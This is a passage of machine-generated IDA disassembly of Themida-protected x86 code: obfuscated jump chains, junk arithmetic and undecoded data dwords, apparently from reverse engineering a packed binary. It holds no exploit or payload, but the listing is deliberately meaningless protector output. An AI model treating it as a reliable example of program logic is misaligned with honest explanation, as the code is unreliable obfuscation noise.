--------------------------------------------------------------------------- loc_547498: ; CODE XREF: Themida_:0055054Cj push esi jmp loc_54C2FF ; --------------------------------------------------------------------------- dw 348Bh dd 0E0895024h, 727BB951h, 0F1817B4Fh, 7B4F727Fh, 0FA0E1F2Dh dd 5C80167h, 67FA0E1Fh, 4C08359h, 0E9240487h, 1D36h, 0C581E589h dd 4, 4ED81h, 2C870000h, 39E95C24h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5474DF: ; CODE XREF: Themida_:0055631Fj add ebx, edi pop edi push eax jmp loc_5435DE ; --------------------------------------------------------------------------- dd 80ADE480h, 0E688CDC4h, 69F7E958h, 34890000h, 2BBABE24h dd 0F72968A8h, 8124348Bh, 4C4h, 5DBA5200h, 9716621h, 31475AD7h dd 0F7F0E9C7h, 0C5810000h, 0A32BD034h, 42B4BA52h, 814A26ADh dd 0AB1528EAh, 0FFC28162h, 68FFFFFFh, 2109h, 0E9243489h dd 94F6h, 2D06E681h, 0DEF71020h, 0FFCEBFE9h, 0E9D2F7FFh dd 6737h, 0E9240C31h, 0F545h, 4C181h, 0C1810000h, 2, 0FFFAC6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54756D: ; CODE XREF: Themida_:005486C2j sub edi, 0A802127h pop esi mov ecx, edi pop edi jmp loc_544603 ; --------------------------------------------------------------------------- dd 0E9243489h, 0FD60h ; --------------------------------------------------------------------------- loc_547584: ; CODE XREF: Themida_:00556568j mov [esp], ecx mov ecx, esp push 3A81h jmp loc_542AC1 ; --------------------------------------------------------------------------- dd offset dword_49005C+1B70Ch align 4 dd 54241489h, 5A2434FFh, 4C481h, 0BF680000h, 89000006h dd 4BD242Ch, 1000000h, 2434FFEAh, 81242C8Bh, 4C4h, 4C48300h dd 7A836850h, 14890000h, 0FE2BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5475D2: ; CODE XREF: Themida_:005496F0j add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp push ebp jmp loc_557762 ; --------------------------------------------------------------------------- db 0F7h dd 68D0h, 4290000h, 0BB535824h, 18B831B2h, 0E95BD821h dd 9B57h, 8105E2C1h, 4D2740E2h, 118E928h, 0FA090000h, 71BD555Fh dd 13E505Ch, 0C2815DEAh, 0C99B6A36h, 0F8249205h, 2DD0016Ah dd 6AF82492h, 7E5DE9h, 0E9DDF700h, 36F2h, 1B221C05h, 2DF00104h dd 41B221Ch, 57F6B951h, 0CA2D59C7h, 2936042Bh, 2BCA05C8h dd 2D593604h, 69E2765Bh, 5E2434FFh, 4C481h, 57530000h dd 0C7815F54h, 4, 4EF81h, 3C330000h, 0D22FE924h, 61B9FFFFh dd 0C1089F29h, 0E98104E9h, 590D7CEDh, 3A07E9h db 0 ; --------------------------------------------------------------------------- loc_54769D: ; CODE XREF: Themida_:005484CEj xchg ebx, [esp] pop esp add esp, 4 shr eax, 0Ah xor eax, ecx push 3CFFh mov [esp], eax push edx pop eax push dword ptr [esp] jmp loc_544714 ; --------------------------------------------------------------------------- dw 0D2BDh dd 0E93AF139h, 0FFFFC42Ah, 1EE9ABB6h, 81FFFFF4h, 2479B0C1h dd 4EE9816Ch, 5F665F14h, 0E28CE9h db 0 ; --------------------------------------------------------------------------- loc_5476E1: ; CODE XREF: Themida_:00552D6Bj mov [esp], bx mov bl, 1Ch sub al, bl pop bx sub al, 31h sub al, cl add al, 31h add al, 1Ch jmp loc_552867 ; --------------------------------------------------------------------------- dd 5D2434FFh, 8704C483h, 815C240Ch, 4ECh, 241C8900h, 0FFFB6DE9h dd 55858FFh, 7D70739Bh, 48BC189h, 4C48124h, 5D000000h dd 8B1C4F21h, 0C483240Ch, 76E9E904h, 0EA810000h, 280121FCh dd 9D5FE9h, 48F5E00h, 6EEF6824h, 34890000h, 7C2A6824h dd 29E90000h, 53FFFFFEh, 7A0FE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54775A: ; CODE XREF: Themida_:loc_54534Ej push 2A17h mov [esp], edi push 10h mov edi, [esp] add esp, 4 and ebx, edi jmp loc_549853 ; --------------------------------------------------------------------------- loc_547777: ; CODE XREF: Themida_:0054C701j mov edx, 35DE238Fh dec edx xor edx, ebp jmp loc_554BC7 ; --------------------------------------------------------------------------- dd 3104C483h, 1DB2E9EBh, 8B350000h, 0C1494526h, 6BE906E8h dd 5F00005Dh, 0E9241487h, 13DCh, 0C9DB951h, 28E95B8Bh dd 0FF0000A9h, 48B2434h, 0B54FE924h, 0E949FFFFh, 0FFFFFB50h dd 2434FF5Fh, 4C4835Fh, 31240C33h, 0C33240Ch, 0D211E924h dd 815D0000h, 0F90D56EEh, 0E9DEF71Ch, 0FFCCh, 0E9F78853h dd 0A4EAh, 4BD55h, 0EE290000h, 1CA4E9h, 240C8B00h, 0FFB789E9h dd 2DC181FFh, 312CB334h, 240C8BCDh, 8B04C483h, 0C481241Ch dd 4, 306BB850h, 0C5292945h, 1C6F2158h, 8B2434FFh, 0C481242Ch dd 4, 81E68956h, 4C6h, 78E95000h, 0FFFFB2h, 73C380C3h dd 8324048Bh, 0B35304C4h, 0E9D3F68Bh, 75FEh, 3659C781h dd 0CF810286h, 15B2E95h, 0BE8CF781h, 0EDE9B787h, 0BA000010h dd 65B0642Ch, 49D4E281h, 0EAD12948h, 0C2814A42h, 6900412Eh dd 0EFA8E9h, 527D6800h, 4890000h, 2474FF24h, 24048B04h dd 0E904C483h, 0FFFFBB45h ; --------------------------------------------------------------------------- loc_54789C: ; CODE XREF: Themida_:0054AAEAj mov ebp, 2E70748Eh jmp loc_55482D ; --------------------------------------------------------------------------- dw 0EC83h dd 80A3E904h, 3C890000h, 4EC8324h, 0AD1FE9h db 0 ; --------------------------------------------------------------------------- loc_5478B9: ; CODE XREF: Themida_:00555E1Fj pop eax add edx, 4 xor edx, [esp] jmp loc_550525 ; --------------------------------------------------------------------------- dd 26EA68h, 774BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5478D2: ; CODE XREF: Themida_:0054CE19j xor ebx, 0E49AE6D3h sub esp, 4 mov [esp], ebx jmp loc_5546A9 ; --------------------------------------------------------------------------- dw 0C0FEh dd 0FFBB87E9h, 28BA52FFh, 1000000h, 4EC81FAh, 89000000h dd 0B9240Ch, 1000000h, 590188D1h, 8324148Bh, 34FF04C4h dd 0EEBDE924h, 0EC81FFFFh, 4, 59241C89h, 0E92434FFh, 0FFFFB4D6h dd 0E9D8295Ah, 734Fh, 0C7EABF57h, 0FA29FD31h, 7A7DE95Fh dd 0E7890000h, 852BE56h, 0CE8154F5h, 312B6F44h, 0AE0CE81h dd 0DEF77D40h, 8108E6C1h, 900A04F6h, 5EC78100h, 1721D28h dd 0DD81E9F7h, 8B660000h, 3E68240Ch, 89000001h, 0E2892414h dd 8904EC83h, 0BE562404h, 48415209h, 3D1E681h, 0C6810458h dd 0FFBFFE03h, 348BF089h, 0E2895224h, 4C281h, 0C2830000h dd 24148704h, 9EE9505Ch, 8B0000A9h, 0C4812414h, 4, 0B5088805h dd 0E9F8012Bh, 666Bh, 7D04C828h, 803AB353h, 0E95269CBh dd 9C8Ah ; --------------------------------------------------------------------------- loc_5479D0: ; CODE XREF: Themida_:00544E89j mov [esp], edx mov edx, 27A2266Dh sub edx, 7ADC3753h not edx sub edx, 5A045773h jmp loc_5567D8 ; --------------------------------------------------------------------------- db 89h dd 0C2B62414h, 8014B551h, 0ED806FF5h, 0E9EE20BFh, 1E7Bh dd 0C531E831h, 0A2E9D0F7h, 0FFFFFFB1h, 0C8B2434h, 4C48324h dd 5CC68h, 0EBE1E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547A1E: ; CODE XREF: Themida_:0054CFE8j pop edx jmp loc_54290A ; --------------------------------------------------------------------------- dd 0E728CEB4h, 68665866h, 896641AFh, 0FE882414h, 2454F652h dd 0DA3FE901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547A3E: ; CODE XREF: Themida_:00544E2Fj pop edi xchg ebx, [esp] pop esp jmp loc_543DE9 ; --------------------------------------------------------------------------- dd 0DCA4C281h, 0C7811EE9h, 63D0036Bh, 0EF81D701h, 63D0036Bh dd 0E924148Bh, 0FFFFD2D8h, 73C168h, 0DFE8E900h, 0E9550000h dd 0FFFFB4F9h, 0DA50E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547A7A: ; CODE XREF: Themida_:005519C3j xor dword ptr [esp], 0BB12ED3h pop edx jmp loc_549478 ; --------------------------------------------------------------------------- loc_547A87: ; CODE XREF: Themida_:0054C60Cj push edi mov edi, esp add edi, 4 jmp loc_551189 ; --------------------------------------------------------------------------- loc_547A95: ; CODE XREF: Themida_:0054A220j add esi, 82F68A71h mov ebp, esi pop esi add ebp, 11574042h jmp loc_54DDDC ; --------------------------------------------------------------------------- db 68h, 3, 2Bh dd 2C890000h, 0C032E924h, 68570000h, 2, 10BA525Fh, 8104FF31h dd 0D35445F2h, 5AD10113h, 6E35BD55h, 0E90123EEh, 81F9015Dh dd 0EE6E35E9h, 0E9565723h, 0BBD6h, 34FFF729h, 0C4815E24h dd 4, 9860E9h, 56CD2900h, 8041D6BEh, 5EF50106h, 0AC6C581h dd 159017Ch, 0B9C581D5h, 8B08C26Eh, 0E9512414h, 65F3h dd 112FE958h, 0C7810000h, 4, 5C243C87h, 1356E9h db 0 ; --------------------------------------------------------------------------- loc_547B2D: ; CODE XREF: Themida_:00552D00j inc ah xor ah, 0D4h jmp loc_544887 ; --------------------------------------------------------------------------- db 87h dd 895C2414h, 0EC832414h, 240C8904h, 168C188h, 8900007Ah dd 0CB88241Ch, 63FB68h, 240C8900h, 8853D988h, 5BDE88CBh dd 34FF5B59h, 46CEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547B6A: ; CODE XREF: Themida_:0054A335j pop edi push ecx jmp loc_55028C ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0D0E9D1F7h, 5200004Ch, 45BFE9h, 4C48100h, 83000000h dd 9CE904ECh, 8100001Ah, 4C6h, 24348700h, 0E924248Bh, 0FFFFE705h ; --------------------------------------------------------------------------- loc_547BA0: ; CODE XREF: Themida_:005518E1j sub esp, 4 mov [esp], eax push ebp pop eax push eax add dword ptr [esp], 2D55B63h pop ebx jmp loc_5560B2 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9240489h, 0F0CDh, 45E9DD29h, 5A000014h, 6617C580h dd 0ABE95052h, 0FFFFDEh, 0D073E9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547BDE: ; CODE XREF: Themida_:0054BCA3j pop esp jmp loc_54DCB9 ; --------------------------------------------------------------------------- aF3F1Sdx db 'f3,$f1,$é¤x',0 dd 81E68900h, 4C6h, 3BE95300h, 810000CCh, 57260BF2h, 0C30AE959h dd 0BD550000h, 4333325Ch, 0F4B5E9h db 0 ; --------------------------------------------------------------------------- loc_547C15: ; CODE XREF: Themida_:0054A4A3j neg ecx jmp loc_551331 ; --------------------------------------------------------------------------- dd 5B2434FFh, 5704C483h, 2D1F68h, 240C8900h, 0ED61C468h dd 0E9C15940h, 33E98104h, 89C46E57h, 240C8BCFh, 0C104C483h dd 0EF8106EFh, 0A7372A05h, 14E9F801h, 0BB00000Eh, 778CD48Fh dd 815BDA31h, 55F53FC2h, 2C8152E3h, 834FEB24h, 4E95B4Dh db 0D0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547C6F: ; CODE XREF: Themida_:0054FEDFj mov edx, edi pop edi push esi mov esi, 183E060Bh jmp loc_542AC9 ; --------------------------------------------------------------------------- db 0F7h, 0D7h, 81h dd 0BB403BF7h, 5FFB8960h, 154BEB81h, 0EE810B0Fh, 107A5C15h dd 0E955DE01h, 0FFFFDB9Fh, 4BDh, 98B9E900h, 685B0000h dd 6A17h, 0BF243C89h, 74790Ah, 0E905E7C1h, 0FFFFCD42h dd 104C483h, 1C875FFBh, 0C25DE924h, 0C809FFFFh, 0AB00E959h dd 0C483FFFFh, 33D5E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547CDA: ; CODE XREF: Themida_:005491A2j mov edi, 6D143425h shl edi, 8 push ebx mov ebx, 22CC7181h xor edi, ebx pop ebx sub ebp, 5B2C5FDFh add ebp, edi push ebx mov ebx, 4CFC2D09h shl ebx, 5 xor ebx, 3CED1B17h sub ebx, 483C5A58h add ebp, ebx pop ebx pop edi add edx, ebp mov ebp, [esp] push edi mov edi, esp jmp loc_5553A1 ; --------------------------------------------------------------------------- loc_547D19: ; CODE XREF: Themida_:00544C12j sub [esp+8], ebp pop ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push ebp push esp pop ebp jmp loc_550E64 ; --------------------------------------------------------------------------- aS_6 db '\é',1Bh,'(',0 dd 40500h, 13E90000h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_547D3F: ; CODE XREF: Themida_:005539FFj sub ebx, 1D3B63FAh jmp loc_542C59 ; --------------------------------------------------------------------------- dw 815Bh dd 4C4h, 5038E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547D56: ; CODE XREF: Themida_:005540C0j push dword ptr [esp] mov eax, [esp] add esp, 4 push edi sub esp, 4 mov [esp], esp push esi mov esi, 4 add [esp+4], esi pop esi pop edi add edi, 4 sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], edx mov edx, 4 mov esi, edx jmp loc_543A70 ; --------------------------------------------------------------------------- loc_547D93: ; CODE XREF: Themida_:0054F9B5j mov [esp], edi jmp loc_552587 ; --------------------------------------------------------------------------- db 0FFh a4Zhd db '4$Zh„]',0 align 4 dd 89240489h, 4B951E0h, 1000000h, 0B879E9C8h, 4AC0000h dd 6FE951B3h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547DBF: ; CODE XREF: Themida_:005444C2j mov edi, 2C70348Fh sub esp, 4 mov [esp], edx mov edx, 77E90C26h sub edx, 4B74D797h xor edi, edx pop edx and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push ebx jmp loc_544810 ; --------------------------------------------------------------------------- loc_547DE9: ; CODE XREF: Themida_:00557500j add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_5470CC ; --------------------------------------------------------------------------- db 89h dd 0B8505FFDh, 78580FB8h, 0E958C301h, 4068h, 5604E2C1h dd 0FFFFFFBEh, 50C281FFh, 0E9486004h, 0D42Dh, 1B4B17B8h dd 0EE1EE968h, 0C801FFFFh, 83240C8Bh, 0C08304C4h, 24043302h dd 33240431h, 248B2404h, 24042024h, 0A8B6E99Ch, 0C181FFFFh dd 4, 0FFAF70E9h, 8BF328FFh, 0C4832414h, 66C32804h, 0D8B551h dd 0C8B66EBh, 2C48324h, 0FF2C380h, 8F66C0B6h, 85E98704h dd 89FFFFA8h, 0A3E95AD1h, 68FFFFC3h, 39D0h, 66240C89h dd 0E91559B9h, 5A03h, 52240C8Bh, 0C281E289h, 4, 0A717E9h dd 6E5C000h, 0AF4EE9h db 0 ; --------------------------------------------------------------------------- loc_547EB9: ; CODE XREF: Themida_:00545511j push edx mov edx, 4 add ebx, 4A197CEEh add ebx, edx jmp loc_5484BE ; --------------------------------------------------------------------------- dd 83242489h, 5A042404h, 8A268h, 24348900h, 4BEh, 4EB0E900h dd 34FF0000h, 648AE924h, 8B660000h, 89532404h, 72CAE9E3h dd 0D0880000h, 58C2885Ah, 0D455E9h db 0 ; --------------------------------------------------------------------------- loc_547F05: ; CODE XREF: Themida_:00555339j pop eax jmp loc_55210B ; --------------------------------------------------------------------------- db 88h dd 59665AF0h, 48BC630h, 0EFD2E924h, 0E581FFFFh, 0D4218B5h dd 0EFE9DDF7h, 330000B7h, 248B2434h, 0A7DAE924h, 0F681FFFFh dd 1AD53C70h, 61E9815Bh, 11C7E44h, 61B850F1h, 11C7E44h dd 348B58C1h, 4AB4E924h, 4870000h, 24248B24h, 0FEFBE981h dd 5357FFFFh, 0EF03CEBBh, 0A166E933h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547F6A: ; CODE XREF: Themida_:00551D26j mov [esp], ebx jmp loc_546EAB ; --------------------------------------------------------------------------- dw 815Dh dd 416521E9h, 0E9F12904h, 6B98h, 0A63EED81h, 0BF57206Bh dd 6E060CA9h, 0BA94E9h, 6884B900h, 0E9815360h, 53606880h dd 0CB0FE9h, 0BD555800h, 20756010h, 525DE909h, 0D41DB7BAh dd 0EA21E949h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547FB6: ; CODE XREF: Themida_:0054FAD6j add edx, eax add edx, 13C07F66h pop eax xchg edx, [esp] pop esp shl byte ptr [esp], cl pushf jmp loc_54270C ; --------------------------------------------------------------------------- dd 8168h, 0A2B1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547FD6: ; CODE XREF: Themida_:0054C9F3j mov edx, 4F280DB9h sub ebp, edx mov edx, [esp] add esp, 4 jmp loc_545FE0 ; --------------------------------------------------------------------------- loc_547FEB: ; CODE XREF: Themida_:0054C288j push 2151h mov [esp], ebp mov ebp, 605F46ACh add ebp, 4D2C1260h sub esi, 2909741Ch jmp loc_5464F5 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 8B000000h, 0C4812414h, 4, 34FFFB01h, 0F57EE924h, 2C330000h dd 24248B24h, 24048B66h, 8904EC83h, 58542404h, 6D9868h dd 241C8900h, 3207FFBBh, 8906E96Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_548046: ; CODE XREF: Themida_:0054B74Ej sub edi, eax jmp loc_557250 ; --------------------------------------------------------------------------- db 0BBh, 58h, 39h dd 0D3F73B30h, 0D481E9h, 24048900h, 0D3009BB8h, 0C1D0F71Ah dd 1F2D03E0h, 2568B504h, 11560B3Eh, 0FD04B951h, 0A4E9FFEDh dd 810000A3h, 0BA730BEAh, 81C22916h, 0BA730BC2h, 89575816h dd 0EF8EE9D7h, 835EFFFFh, 89E904C4h, 81000033h, 4C1h, 4C18300h dd 5C240C87h, 30DDC581h, 0FF5531A8h, 48B2434h, 0EAC9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5480BA: ; CODE XREF: Themida_:005462A0j mov esi, ebx mov ecx, esi pop esi mov ebx, [esp] jmp loc_5505E2 ; --------------------------------------------------------------------------- db 29h dd 875A5BD9h, 17E9240Ch, 8B0000CFh, 0C4832404h, 2434FF04h dd 0FFBF5AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5480E1: ; CODE XREF: Themida_:005437B6j xor edx, edi pop edi add edx, ecx add [edx], ebp pop edx push dword ptr [esp] pop ecx add esp, 4 mov eax, [esp] push edx mov edx, esp push ebx mov ebx, 4 add edx, ebx jmp loc_548FFB ; --------------------------------------------------------------------------- db 1 dd 11C581F5h, 8B653050h, 0C4832434h, 0E643E904h, 0CF810000h dd 4BB0056Ch, 0FFD2D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_548121: ; CODE XREF: Themida_:0054B2F5j shr ebx, 6 and ebx, 1525623Eh and ebx, 7F7B6056h xor ebx, 212016h add edi, ebx pop ebx jmp loc_556EE6 ; --------------------------------------------------------------------------- loc_54813E: ; CODE XREF: Themida_:0054A76Aj pop eax sub al, bh mov ebx, [esp] add esp, 4 sub al, 0A1h pop ecx jmp loc_5579F8 ; --------------------------------------------------------------------------- dw 0DD01h aS0g db '[é0g',0 align 2 loc_54815A: ; CODE XREF: Themida_:00542F68j add esp, 4 push eax jmp loc_54C9EA ; --------------------------------------------------------------------------- loc_548163: ; CODE XREF: Themida_:00547056j xchg ebp, [esp] pop esp sub esp, 4 jmp loc_54C582 ; --------------------------------------------------------------------------- db 0BAh dd 587876E3h, 0E281D2F7h, 1356592Ah, 0E6E9h, 4E8C100h dd 249168h, 24148900h, 5728D5BAh, 81DAF71Fh, 0B976C0E2h dd 2356E954h, 0EC830000h, 24048904h, 5253E089h, 46F368h dd 24348900h, 0E732D668h, 0D6E95E11h, 300000C7h, 241C8BF8h dd 6804C483h, 261h, 0B7241C89h, 835066A4h, 148904ECh, 4A1DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5481DA: ; CODE XREF: Themida_:0055484Cj mov eax, edi jmp loc_551EA3 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aHO db '$h;O',0 align 2 dw 0C89h dd 0E0895024h, 4BF57h, 0F8010000h, 4E8835Fh, 0A839E9h dd 68535800h, 61CF72F2h, 4AC3815Bh, 0E9F88DC3h, 0FFFFE048h dd 0C104E3C1h, 0C38105E3h, 0E961D836h, 295BDA89h, 822D5AD3h dd 292E8053h, 538205D8h, 34FF2E80h, 0E9515B24h, 5458h dd 6DE9DD31h db 0D7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548243: ; CODE XREF: Themida_:0054363Bj sub esp, 4 mov [esp], ecx jmp loc_5559D0 ; --------------------------------------------------------------------------- dw 0C181h dd 7FC36AE8h, 150DC181h, 0E9813D5Fh, 5C332A93h, 15E9C101h dd 0C10000D8h, 0EC8308EAh, 24048904h, 67A1BB8h, 0C8AAE915h dd 0BA520000h, 388C484Dh, 4245429h, 2434FF5Ah, 5724048Bh dd 0FFB424E9h, 2434FFFFh, 83242C8Bh, 34E904C4h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54829F: ; CODE XREF: Themida_:0054461Aj mov ebp, 1B00FE61h mov edx, ebp jmp loc_543F21 ; --------------------------------------------------------------------------- db 89h dd 0FCE92424h, 66000082h, 81242C8Bh, 2C4h, 0BB62E900h dd 0FE29FFFFh, 81EE295Fh, 0AD1890C6h, 69C6E948h, 585B0000h dd 391EE9h, 0E9E28900h, 175Ch ; --------------------------------------------------------------------------- loc_5482E0: ; CODE XREF: Themida_:0054D8EAj mov [esp], edi push esp push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push edx mov edx, 13C35981h add edx, 66572F5Bh xor edx, 7A1A88D8h add edi, edx pop edx push 7E85h mov [esp], ebx mov ebx, 4 add edi, ebx pop ebx jmp loc_54EDF6 ; --------------------------------------------------------------------------- db 0B8h, 58h, 12h dd 752D2DB6h, 0F7283757h, 8090E9D8h, 0E9810000h, 0FFFFFFFFh dd 4EC81h, 14890000h, 276EBA24h, 39E920A9h, 0C10000AEh dd 0E98107E9h, 3D402FF1h, 4C83C181h, 0BBE91B88h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54835B: ; CODE XREF: Themida_:0054F480j mov [esp], esi mov esi, 3A3041CDh mov dword ptr [edx+38h], 0C5CFBE33h add [edx+38h], esi push dword ptr [esp] jmp loc_552656 ; --------------------------------------------------------------------------- db 58h, 81h, 0F6h dd 151261F4h, 61E95856h, 810000BBh, 0EE1607C3h, 0EB315D6Eh dd 6BF575Dh, 316B7E06h, 7BE95FFBh, 0FFFFFFF5h, 0C8B2434h dd 4C48324h, 0E904EC83h, 0FFFFC5D6h, 7E9468h, 69A5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5483B6: ; CODE XREF: Themida_:00548EC4j push eax jmp loc_546635 ; --------------------------------------------------------------------------- dd 4C6815Eh, 68000000h, 26CCh, 50242C89h, 0D24D5CB8h, 0C1E0D115h dd 0BA5204E0h, 23F668F2h, 980BC281h, 0D0092ED6h, 0C215E95Ah dd 0ECBF0000h, 0E977EA09h, 0FFFFC883h, 0B6BFE951h, 4B9FFFFh dd 1000000h, 240C8BCEh, 5004C483h, 405E089h, 83000000h dd 1FE904E8h, 1FFFFB7h, 0DCA6E9F3h, 0E9F60000h, 0CCB60F66h dd 6F5368h, 240C8900h, 56E9E189h, 53000043h, 42474FFh dd 24048F5Bh, 0DDFCE9h db 0 ; --------------------------------------------------------------------------- loc_548441: ; CODE XREF: Themida_:0054EAC6j sub eax, 4 xchg eax, [esp] jmp loc_543224 ; --------------------------------------------------------------------------- aCsel db '(æéel',0 dw 4F00h dd 266FEF81h, 0D7F719E1h, 0DDF78147h, 0E951B301h, 0FFFFF1B2h dd 8124348Bh, 4C4h, 24048F00h, 0BF57515Ch, 6A424D5Ch, 424D5868h dd 0F931596Ah, 6BEB815Fh, 814C602Dh, 0B9154DEBh, 50CB011Ch dd 154DBA52h, 0D0891CB9h, 46A4E9h, 0B6A23500h, 0C3317812h dd 0CAC38158h, 8172C11Bh, 0E7E94CC3h, 2EBC136h, 76F2E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5484BE: ; CODE XREF: Themida_:00547EC7j sub ebx, 4A197CEEh push dword ptr [esp] pop edx add esp, 4 jmp loc_54769D ; --------------------------------------------------------------------------- loc_5484D3: ; CODE XREF: Themida_:0054FDCFj add dword ptr [esp+4], 5C3A0155h sub dword ptr [esp+4], 2AD61B34h add [esp+4], ebx add dword ptr [esp+4], 2AD61B34h push esi mov esi, 5C3A0155h sub [esp+8], esi pop esi push eax mov eax, 6C20224Ah add [esp+8], eax pop eax jmp loc_55556B ; --------------------------------------------------------------------------- dw 0E7C0h dd 0FED7F603h, 0B4EF80C7h, 1C8BFE30h, 4C48124h, 0E9000000h dd 0DA6Fh ; --------------------------------------------------------------------------- loc_548524: ; CODE XREF: Themida_:005441C1j add ebx, 4 jmp loc_55414F ; --------------------------------------------------------------------------- loc_54852C: ; CODE XREF: Themida_:005443A4j mov [esp], edx push 7E9Fh push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop edx add esp, 4 add edx, 4 jmp loc_54A186 ; --------------------------------------------------------------------------- dw 0FB89h dd 24148B5Fh, 4C481h, 0EB810000h, 10AA17A5h, 7AAFE951h dd 0C6830000h, 0B2C68101h, 816DAD06h, 3F6550F6h, 76A7E907h dd 0C6800000h, 0BDEE8001h, 45AF588h, 2CE828A3h, 0E95966A3h dd 492h ; --------------------------------------------------------------------------- loc_548590: ; CODE XREF: Themida_:00552560j add esp, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax sub esp, 4 mov [esp], ebx mov bh, 61h dec bh jmp loc_5473F1 ; --------------------------------------------------------------------------- loc_5485B5: ; CODE XREF: Themida_:0054480Bj sub dx, di pop edi mov bp, dx jmp loc_5431AD ; --------------------------------------------------------------------------- loc_5485C1: ; CODE XREF: Themida_:0054395Ej mov eax, [esp] add esp, 4 jmp loc_5451A3 ; --------------------------------------------------------------------------- db 58h dd 5341D1F7h, 0D8D7E9h db 0 ; --------------------------------------------------------------------------- loc_5485D9: ; CODE XREF: Themida_:00557A00j mov ch, 0F2h sub bl, ch jmp loc_545A5E ; --------------------------------------------------------------------------- dw 8658h dd 86C0FEC6h, 0EFE950C6h, 0C1000085h, 0E50D04E0h, 4868D67Fh dd 0D67FF02Dh, 58C101F8h, 8904EC83h, 0B8502434h, 7DD314F4h dd 0FFB265E9h, 241C8BFFh, 5604C483h, 23C2E9h, 58A2D00h dd 0F8014E01h, 1058A05h, 2434FF4Eh, 4C4815Fh, 31000000h dd 0A7F6E9C3h, 0C280FFFFh, 80FA2815h, 285B15EAh, 47C280EAh dd 0D7285966h, 4C9045Ah, 0CE53E97Fh, 0EE890000h, 0FFF179E9h dd 5E5C1FFh, 0FFF91BE9h, 0A6C181FFh, 8B018E3Eh, 0DF68243Ch dd 8900006Ch, 0E2892414h, 4B951h, 0CA010000h, 9043E9h dd 34A8B000h, 4B6044Eh, 2734ADh, 0C68058C6h, 0F7C7E9EAh dd 0C15DFFFFh, 515303EDh, 53E2E9h db 0 ; --------------------------------------------------------------------------- loc_5486A5: ; CODE XREF: Themida_:00556598j push 6E87710Dh pop esi dec esi sub esp, 4 mov [esp], ebx mov ebx, 6BF65BE9h sub esi, ebx pop ebx add edi, 0A802127h add edi, esi jmp loc_54756D ; --------------------------------------------------------------------------- db 57h dd 4048BA52h, 74E95EBCh db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_5486D3: ; CODE XREF: Themida_:00548C7Dj push esi mov esi, 6A64F181h xor edi, esi pop esi push ecx mov ecx, 64B248D4h jmp loc_5437E4 ; --------------------------------------------------------------------------- loc_5486E7: ; CODE XREF: Themida_:00542C61j pop ebx add ebp, 4FB598Bh add ebp, 338202D4h add ebp, eax sub ebp, 338202D4h jmp loc_54FC72 ; --------------------------------------------------------------------------- db 0BEh, 44h, 15h dd 6E90B79h, 0BE00003Fh, 90639525h, 0FFA567E9h, 0E95156FFh dd 0C1C5h ; --------------------------------------------------------------------------- loc_54871C: ; CODE XREF: Themida_:00552086j neg eax sub eax, 0FDC16E18h jmp loc_54AAE4 ; --------------------------------------------------------------------------- aPH_SHsru db 'P¸H*>.Áè',8,'HérU',0 db 0 ; --------------------------------------------------------------------------- loc_548737: ; CODE XREF: Themida_:0054E675j or dx, bp pop bp sub esp, 4 mov [esp], edi push small 0FBAh pop di add di, 0FFFFh not di jmp loc_544806 ; --------------------------------------------------------------------------- db 55h, 0BDh, 4 dd 1000000h, 5D04246Ch, 81240C8Bh, 4C4h, 4BA5200h, 1000000h dd 28C6E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548776: ; CODE XREF: Themida_:00555F22j add esp, 4 jmp loc_555E56 ; --------------------------------------------------------------------------- loc_54877E: ; CODE XREF: Themida_:00553322j xchg edi, [esp] pop esp jmp loc_54270C ; --------------------------------------------------------------------------- db 87h dd 248B2434h, 4EC8124h, 89000000h, 75E9242Ch, 0F6000002h dd 0AA28E9D5h, 8956FFFFh, 4C681E6h, 83000000h, 348704C6h dd 83535C24h, 2C8904ECh, 43FDBD24h, 0CE9649Eh, 68FFFFB8h dd 395Ch, 0E9243C89h, 0CB91h, 64F9C181h, 0CE29B9FBh, 0AAC68159h dd 10AD139h, 0AAEE81C6h, 550AD139h, 0B762EABDh, 5DEE013Bh dd 284DE9h, 0BD555C00h, 132F2D89h, 20EF581h, 